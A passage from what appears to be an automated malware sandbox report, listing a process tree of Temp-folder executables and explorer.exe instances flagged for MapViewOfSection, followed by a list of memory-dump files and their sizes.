                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\D5AB.exe
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:10408
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\DABD.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\DABD.exe
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:7088
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:11752
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:11448
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:9240
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4316
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:9208
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5408
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:10376
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:10296
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:9784

                                                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/68-266-0x000001485C570000-0x000001485C5D7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/580-260-0x000001FFA4E10000-0x000001FFA4E77000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/580-259-0x000001FFA4D50000-0x000001FFA4D94000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            272KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/856-274-0x0000027891B70000-0x0000027891BD7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/1068-272-0x0000018D98A70000-0x0000018D98AD7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/1160-282-0x000001D142DD0000-0x000001D142E37000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/1240-284-0x000001E1C4980000-0x000001E1C49E7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/1256-253-0x00000000030D0000-0x000000000326C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/1436-277-0x0000022D05810000-0x0000022D05877000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/1508-293-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/1896-279-0x000001DA6BE90000-0x000001DA6BEF7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2428-268-0x0000017412380000-0x00000174123E7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2444-270-0x000001F1587A0000-0x000001F158807000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2456-292-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2684-286-0x0000022A07940000-0x0000022A079A7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2696-288-0x000001EAB47B0000-0x000001EAB4817000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2840-263-0x000002CD520A0000-0x000002CD52107000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/3024-123-0x00007FF9A6C40000-0x00007FF9A6C41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/3048-290-0x0000000002720000-0x0000000002722000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/3700-252-0x000000001BA60000-0x000000001BA62000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/3776-264-0x00000284DBB90000-0x00000284DBBF7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/3776-291-0x00000284DE300000-0x00000284DE406000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/3872-294-0x00000000007E0000-0x00000000007E2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/3880-289-0x00000000010A0000-0x00000000010A2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4152-257-0x00000000032E0000-0x000000000342A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4152-258-0x0000000004D90000-0x0000000004DE6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            344KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4248-276-0x0000000004810000-0x00000000048A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            580KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4248-280-0x0000000000400000-0x0000000002BDD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            39.9MB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4356-255-0x0000000000400000-0x0000000000418000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            96KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4484-254-0x0000000001460000-0x0000000001462000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-301-0x0000000005040000-0x0000000005041000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-298-0x0000000005010000-0x0000000005011000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-307-0x0000000005090000-0x0000000005091000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-310-0x00000000050B0000-0x00000000050B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-304-0x0000000005060000-0x0000000005061000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-306-0x0000000005080000-0x0000000005081000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-312-0x00000000050D0000-0x00000000050D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-305-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-311-0x00000000050C0000-0x00000000050C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-303-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-313-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-314-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-297-0x0000000005000000-0x0000000005001000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-296-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-309-0x00000000050A0000-0x00000000050A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-300-0x0000000005030000-0x0000000005031000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-299-0x0000000005020000-0x0000000005021000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4536-315-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4652-295-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/4736-256-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/5196-308-0x00000000024B0000-0x00000000024B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                                                                                                                          • memory/5196-302-0x00000000006F0000-0x000000000083A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                            1.3MB